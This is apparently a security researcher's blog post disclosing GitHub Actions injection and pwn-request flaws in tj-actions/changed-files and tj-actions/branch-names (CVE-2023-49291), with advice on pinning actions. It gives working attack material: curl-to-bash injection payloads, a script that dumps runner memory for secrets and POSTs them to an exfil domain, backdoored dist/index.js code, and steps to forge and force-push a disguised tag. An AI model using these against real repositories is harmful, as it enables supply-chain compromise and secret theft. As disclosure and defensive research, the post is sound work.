Introduction
I’ve been doing a lot of scanning and reporting of GitHub Actions injection and pwn request vulnerabilities throughout GitHub. Most of my scanning and testing focused on workflows – that is yaml files in the .github/workfows directory – and my regexes didn’t look at files in other directories, such action.yml, which is used as the entry-point for any repository that functions as a reusable GitHub Action.
At Defcon Asi Greenholts and his team from Palo Alto Networks outlined the risk of a compromise of a reusable GitHub Action and how an attacker can exploit an action for an initial foothold, and then poison specific tags in order to target other actions and repositories. That talk had me think about looking for issues in reusable actions themselves.
I ended up finding a bug within the unit tests for tj-actions/changed-files and the same bug within the unit tests for tj-actions/branch-names along with an injection vulnerability within the action’s code itself. This meant that any repository that used tj-actions/branch-names within a workflow would be vulnerable to arbitrary code execution via a poisoned branch name if it ran on triggers such as pull_request_target or issues. That bug has a Critical CVE of CVE-2023-49291.
Since the CI/CD for the Actions themselves (yes, actions are hosted in code repositories with their own workflow files, and are susceptible to the same vulnerabilities and security misconfigurations) contained a vulnerability, an attacker could leverage it to backdoor the actions themselves. The vulnerability itself is in my opinion a fairly routine injection vulnerability, but the potential for pivoting and attacking others is the more interesting part of this blog post. I’ll walk you through the exact steps (and commands!) an attacker could take to cause some pretty serious damage.
Between the two actions an attacker could pivot to some very large repositories or repositories that would have allowed for impactful supply chain attacks, such as Web3 companies or AI/ML repositories used by hundreds of thousands:
- https://github.com/huggingface/transformers
- https://github.com/microsoft/fluentui
- https://github.com/celo-org/celo-blockchain
Vulnerable Repositories
First, I will cover the two repositories within the tj-actions organization that contained injection vulnerabilities and how I discovered and reported the issues.
tj-actions/changed-files
tj-actions/changed-files first caught my attention because I was investigating an injection vulnerability in a Microsoft repository. That particular repository printed out the changed files from a PR within a run: step. As you can probably imagine the payload here was to change a file to a name containing a shell injection payload:
{curl,-sSfL,payload.evildomain.com,|,bash}
After exploiting the Microsoft repository (which is currently in MSRC ‘Review/Repro’ limbo despite a quick fix after my report – hacking Microsoft repos is more of a sport for me and I barely think about the disclosure process since it is just disappointing) I turned my attention to the tests for the action itself.
I quickly noticed two things:
- The CI tests ran on
pull_request_targetand had aGITHUB_TOKENwith write permissions - The CI tests also used the
branch-namesaction.
It was clear that the action’s CI/CD workflows were vulnerable to both an injection attack and a pwn request. I created a fork of the repository and started testing payloads within the fork to see how I could trigger the vulnerability. My first payload was oddly failing at an earlier step. Turns out, it was failing the payload was triggering an injection vulnerability in a dependent action – tj-actions/branch-names. I’ll cover that later in this post.
There was also another way to exploit this, and it was by changing the action.yml in the fork to contain arbitrary code – in this case a traditional pwn request attack.
The payload below used Nikita Stupin’s memory dump script from Pwnhub along with a regular expression to parse out secret values. I tested it in my own fork to confirm the vulnerability.
runs:
-- using: 'node20'
-- main: 'dist/index.js'
+ using: "composite"
+ steps:
+ - id: branch
+ run: |
+ B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | +sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
+ sleep 900
+ shell: bash
I reported this via an email to the maintainer on Nov 26th, 2023 as well as a private security report on the repository. Since this was not an issue that directly impacted users of the action there was no public disclosure, the security issue was fixed by the maintainer on November 28th.
tj-actions/branch-names
The tj-actions/branch-names action also contained the same pwn request vulnerabilities, so I won’t spend time discussing that. The vulnerability in the tests was fixed on Dec 3rd, 2023.
More interestingly, there was also an injection vulnerability within the action’s code itself. tj-actions/branch-names is a composite action. This means that it uses GitHub Workflow syntax instead of nodejs (like most actions do). The underlying code referenced the branch name within a run step without sanitization. As anyone familiar with Actions injection vulnerabilities knows, a branch name can be used to inject arbitrary code. In this case, Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo would be a valid branch name and could be used for arbitrary code execution.
You can view the Security Advisory on GitHub for more information.
runs:
using: "composite"
steps:
- id: branch
run: |
# "Set branch names..."
if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
REF=$(printf "%q" "${{ github.ref }}")
BASE_REF=${BASE_REF/refs\/heads\//}
HEAD_REF=${HEAD_REF/refs\/heads\//}
REF_BRANCH=${REF/refs\/pull\//}
REF_BRANCH=${REF_BRANCH/refs\/heads\//}
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"
else
BASE_REF=$(printf "%q" "${{ github.event.base_ref }}")
BASE_REF=${BASE_REF/refs\/heads\/${{ inputs.strip_tag_prefix }}/}
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
fi
As a result of this disclosure, I was credited with reporting CVE-2023-49291 along with R3x, who most likely independently discovered the same issue before it was public.
What If I Was Evil
Now, let’s say instead of a responsible security researcher I was a threat actor seeking to move laterally to other repositories. How would I have exploited this vulnerability and what spoils would I be able to reap?
Silent Tampering
Before getting into the impact to other repositories, lets cover the key technique an attacker could use to tamper with the reusable GitHub Action. When you use a GitHub Action in a repository, you can refer to it in several ways:
- Commit SHA – Immutable
- Tag – Mutable
- Branch Name – Mutable
Tags are by far the most common way in which users refer to a GitHub Action. The problem is that tags are mutable, and anyone with write access to a repository can edit refs that a tag points to. There is actually a way to edit a tag so that it points to a new reference, and there is very little indication that anything changed. Here is how it is done after an attacker captures a GITHUB_TOKEN with write access.
Modify Action in Local Commit
First, an attacker needs to make a local commit and modify the action’s code. Since most actions are Javascript nodejs actions, this can be done by modifying the dist/index.js file to run arbitrary code. This is the actual source code used by the action, the other Javascript files (such as the ones in src, are compiled into the dist.js file)
An attacker could also just change the action.yml file, but an attackers goal would be to backdoor the action without anyone suspecting malicious behavior.
Old code
function run() {
var _a;
return __awaiter(this, void 0, void 0, function* () {
core.startGroup('changed-files');
const env = yield (0, env_1.getEnv)();
core.debug(`Env: ${JSON.stringify(env, null, 2)}`);Let’s look at the run() function within dist.js. This starts the action and prints debugging information to the run log. If an attacker were to add code here, it would run every time the action was executed.
Tampered Javascript Code
function run() {
var _a;
return __awaiter(this, void 0, void 0, function* () {
exec.exec('bash', ['-c','curl -sSfL gist.githubusercontent.com/EvilUser/ffa35bb335f81f2eae983d17f3f439a2/raw/payload.sh | bash']);
core.startGroup('changed-files');
const env = yield (0, env_1.getEnv)();
core.debug(`Env: ${JSON.stringify(env, null, 2)}`);The updated code contains an OS command execution payload, this will run in every workflow that uses the poisoned tag. In order to push this, an attacker needs to commit the code locally, update the tag to point to that commit hash, and then force push the tag.
Disguising a Backdoor
Now, a smart attacker would prepare even before stealing a GITHUB_TOKEN with contents write access. So let’s put on our hacker hat and prepare a devious backdoor! I created a fork of the repository and changed the tag on it to demonstrate how this attack would work.
First, clone the repository: git clone https://github.com/tj-actions/changed-files
Next, an attacker would want to commit the change. But wait! We are trying to backdoor a tag, and we want it to blend in, so let’s prepare our payload in a stealthy manner.
Say we want to backdoor v40.1.0. Let’s look at the tag and see what we can learn.
We can see the date, the committer, as well as the commit SHA. We can setup our backdoor to match everything except for the SHA. Let’s checkout the SHA for the commit.
First, to match the user and date in our commit, let’s look at the git log.
Set the local git config to match: git config --local user.name "tj-actions[bot]" && git config --local user.email "109116665+tj-actions-bot@users.noreply.github.com"
Now, we are ready to make our changes. Add the evil code as discussed earlier and run git add dist/index.js. Next, commit the change in the past to match the tag: git commit --date 'Fri Nov 3 14:30:38 2023 -0600' -m "Updated README.md (#1694)"
Now, our commit log looks like this:
commit 288bd4d44031995595acb88f182624d2c8e68f21 (HEAD)
Author: tj-actions[bot] <109116665+tj-actions-bot@users.noreply.github.com>
Date: Fri Nov 3 14:30:38 2023 -0600
Updated README.md (#1694)
commit 18c8a4ecebe93d32ed8a88e1d0c098f5f68c221b (tag: v40.1.0)
Author: tj-actions[bot] <109116665+tj-actions-bot@users.noreply.github.com>
Date: Fri Nov 3 14:30:38 2023 -0600
Updated README.md (#1694)
Co-authored-by: repo-ranger[bot] <repo-ranger[bot]@users.noreply.github.com>
Now, we tag this commit and over-write the old tag: git tag -f v40.1.0
After that, force push the tag to overwrite the old one.
Now, let’s see how it looks in the UI! The timestamp is still new, which could tip off a very keen observer; however there is no indication that the actor doesn’t match. Yes, the tag isn’t verified, but many popular actions has a mix of verified and non-verified commits, depending on what GPG configuration the user has and if they are making a commit via the web UI which is automatically verified.
If someone backdoored this action in this manner, then they would likely go days before someone noticed the malicious behavior, and by then it would be too late for the victims of this hack.
Second Stage Payload Creation
Now let’s revisit the second stage payload. The example backdoor downloads a Gist from an attacker’s account and run it. Here is a bash script that does the following:
- Checks if the runner is a Linux machine
- Uses Nikita Stupins (todo link) memory dump script to dump the runner’s memory and parses out clear-text secrets.
- Captures the environment (this will contain metadata an attacker needs to learn where this payload is running)
- Base64 encodes the JSON object
- Sends it to a URL with a POST request.
- Sleeps for 15 minutes.
# Replace with Burp collaborator domain or similar.
YOUR_EXFIL="https://your-exfil-domain.com"
# Uses memory dump technique from github.com/nikitastupin/pwnhub / with regex to parse out all secret values (including GITHUB_TOKEN)
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0`
# Print to run log
echo $B64_BLOB
# Exfil to Burp
curl -s -d "$B64_BLOB" https://$YOUR_EXFIL/token > /dev/null
# Sleep for 15 mins to abuse GITHUB_TOKEN
sleep 900
else
exit 0
fi
Once a repository using the poisoned action runs a workflow an attacker will receive all secrets used by that job along with a GITHUB_TOKEN that will be valid for 15 minutes longer than the original job execution time.
Cause Havoc
Now, the threat actor would be able to conduct numerous supply chain attacks. Tj-actions/changed files is a a pretty popular action and used by a lot of repositories. In fact it is on the third page of the Action marketplace when sorting by installs/stars. I’m just going to list two that stood out, and describe exactly what impact an attacker could cause.
Celo-org/celo-blockchain
The Celo blockchain’s monorepo uses the action by tag. Celo is a cryptocurrency token with a ~400 million market cap as of writing.
Now, let’s examine the workflow permissions for a job from that workflow. We have a GITHUB_TOKEN with full write permissions, but a job that otherwise has no secrets and runs on a GitHub hosted runner.
A GITHUB_TOKEN with write permissions can be used to:
- Modify code in non-protected branches (excluding anything in the
.github/workflowsdirectory) - Modify releases
- (Potentially) approve and merge PRs
- Approve fork PR workflows (relevant if the repository uses self-hosted runners and has their approval requirement set to all external contributors)
- Issue
workflow_dispatchandrepository_dispatchevents to trigger other workflows.- This is usually where most of the fun is.
Now, let’s see what we could do with a workflow_dispatch event. The repository has a workflow that runs on dispatch as an option and contains an NPM_TOKEN as a secret. Oh, didn’t a big crypto hack recently involve an NPM Token?
An attacker could create a feature branch with the stolen GITHUB_TOKEN, modify the package.json file’s build step with the same exfiltration payload, and then issue a workflow dispatch event. Now the attacker would have the NPM_TOKEN secret.
First, an attacker would clone the repository with the stolen token: git clone https://$STOLEN_TOKEN@github.com/celo-org/celo-monorepo
Next, they would modify, commit and push the package.json file in a feature branch. This is straightforward so I don’t need to share the commands. Finally they would use GitHub’s REST API to issue a workflow dispatch call and trigger a workflow to use their new branch.
Here’s how that dispatch call would look:
curl -L \
-X POST \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $STOLEN_GITHUB_TOKEN" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/celo-org/celo-monorepo/actions/workflows/publish-contracts-abi-release/dispatches \
-d '{"ref":"evil-branch","inputs":{"npm_tag":"canary"}}'
Finally, they could use GitHub’s API to delete the workflow run and the branch to hide any obvious evidence of their malicious behavior. The attacker now has the NPM_TOKEN via a supply chain attacked leveraging a backdoored GitHub Action.
Huggingface/transformers
Huggingface’s transformers repository is used by AI/ML researchers around the globe. At the time I discovered the vulnerability, the repository used tj-actions/changed-files@v22.2 within one of its workflows.
Once I found the workflow, I checked previous runs for the GITHUB_TOKEN permissions associated with the workflow run.
The GITHUB_TOKEN also has write permissions. This means an attacker can backdoor the tag and steal the token. From there, an attacker could make commits to non-protected branches, of which huggingface/transformers has hundreds of and try to sneak a code change into main by disguising commits as the actual maintainer.
How to protect yourself?
Ultimately, the core issue here is that when you use an action with a mutable reference, you are giving everyone with write access to that repository access to the GITHUB_TOKEN and secrets accessible to your job. Full stop. This includes the legitimate maintainer as well as anyone who can compromise their credentials. If a threat acted wanted to hack a major organization on GitHub, and that organization uses 3rd party GitHub Actions by tag, then they simply need to hack someone with write access to the Action’s repository. This still holds true for the repositories I used as examples, if an attacker managed to compromise a PAT belonging to the maintainer of the repository, then they could achieve the same impacts.
Imagine using a less mature open-source software library for a critical system, but instead of trusting that code at a particular point in time, that code could change on you at any moment. That is what an organization is doing if they use community maintained open source actions by tag and not by immutable commit SHA.
A threat actor might not use a 0-day to target an open source developer, but what if that developer could indirectly access sensitive secrets of a multibillion dollar company? That changes everything.
As with any security measures, it is a balancing act between cost and level of effort to maintain security controls and accepted risk. Your most sensitive workflows (such as release deployments and production image builds) should probably adopt an approach that eliminates the risk of external tampering by adopting a GitHub Actions allow list or forking actions and maintaining them within your organization.
Adnan Khan's Blog 
Leave a comment